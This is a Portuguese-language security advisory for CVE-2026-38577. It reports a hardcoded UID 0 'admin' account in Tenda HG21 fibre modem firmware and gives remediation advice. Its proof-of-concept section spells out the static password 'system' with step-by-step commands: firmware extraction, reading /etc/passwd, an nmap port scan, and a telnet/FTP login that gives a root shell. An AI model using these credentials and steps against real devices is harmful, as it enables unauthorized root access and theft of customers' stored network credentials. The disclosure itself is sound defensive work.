CVE-2026-38577 — Credenciais Root Codificadas no Tenda HG21

Resumo

Descrição

A análise do firmware do modem de fibra XPON Tenda HG21 revelou uma conta administrativa codificada embutida na imagem de firmware fornecida. A conta recebe privilégios totais de root (UID 0) e suas credenciais são estáticas entre dispositivos, o que significa que qualquer atacante que consiga acessar um serviço de gerenciamento exposto em uma unidade vulnerável pode se autenticar como root sem precisar conhecer a senha da interface web definida pelo cliente.

Onde foi encontrada

• /etc/passwd no firmware extraído inclui uma entrada admin com um hash de senha SHA256crypt que resolve para o valor estático system.
• O UID da conta é 0 — ou seja, ela é root, não uma conta de serviço restrita.
• Não há /etc/shadow presente, então o hash fraco/estático em passwd é a única barreira que protege a conta.
• /etc/inetd.conf inicia telnetd e ftpd, ambos executados como root, de modo que a conta codificada é acessível pela rede, não apenas por um console serial/UART.
• A interface de gerenciamento web é servida apenas por HTTP simples (sem TLS), o que é uma lacuna secundária de endurecimento, mas não é em si o CVE.

Impacto

Um atacante com acesso de rede ao serviço telnet (TCP/23) ou FTP (TCP/21) de um dispositivo vulnerável pode fazer login como admin usando a senha estática e obter um shell root / acesso a arquivos em nível de root. Isso permite, no mínimo:

• Execução de código — shell root via telnet.
• Escalação de privilégios — não existe limite de privilégios; a conta já inicia como root.
• Divulgação de informações — acesso completo ao sistema de arquivos/configuração, incluindo quaisquer credenciais de rede do cliente armazenadas no dispositivo.

Vetores CVSS da submissão original (a pontuação do fabricante pode diferir quando publicada):

• Vetor de Ataque: Rede
• Privilégios Necessários: Nenhum (as credenciais são codificadas/conhecidas)
• Interação do Usuário: Nenhuma
• Confidencialidade / Integridade / Disponibilidade: Alta / Alta / Alta

Prova de Conceito

Este é um PoC baseado em credenciais — ele demonstra que a conta codificada autentica e concede root, não uma exploração de corrupção de memória. Execute apenas contra um dispositivo que você possua ou para o qual tenha autorização explícita de teste.

1. Confirme que a credencial existe no firmware

# Extraia o firmware (binwalk ou ferramenta do fabricante de sua escolha)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# Localize e inspecione o arquivo passwd
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-de-"system">:0:0:root:/root:/bin/sh

2. Confirme que o serviço está acessível

nmap -p 21,23 <ip-do-alvo>

3. Autentique-se com a conta codificada

telnet <ip-do-alvo>
# login: admin
# password: system

ftp <ip-do-alvo>
# Name: admin
# Password: system

Um login bem-sucedido em qualquer um dos serviços retorna um shell/sessão FTP com privilégios de root (id reportará uid=0(root)).

Remediação

• O fabricante deve remover completamente a conta codificada admin/system, ou no mínimo forçar uma senha aleatória única por dispositivo definida no primeiro boot (não derivável apenas do número de série).
• Desabilitar telnetd/ftpd por padrão; exigir aceitação explícita e um canal autenticado e criptografado (SSH/SFTP) para administração remota.
• Servir a interface de gerenciamento apenas por HTTPS.
• Rotacionar a credencial estática em quaisquer unidades já implantadas por meio de uma atualização de firmware obrigatória e forçar uma redefinição de senha na atualização.

Linha do Tempo

Créditos

Descoberto e reportado por:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

Referências

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html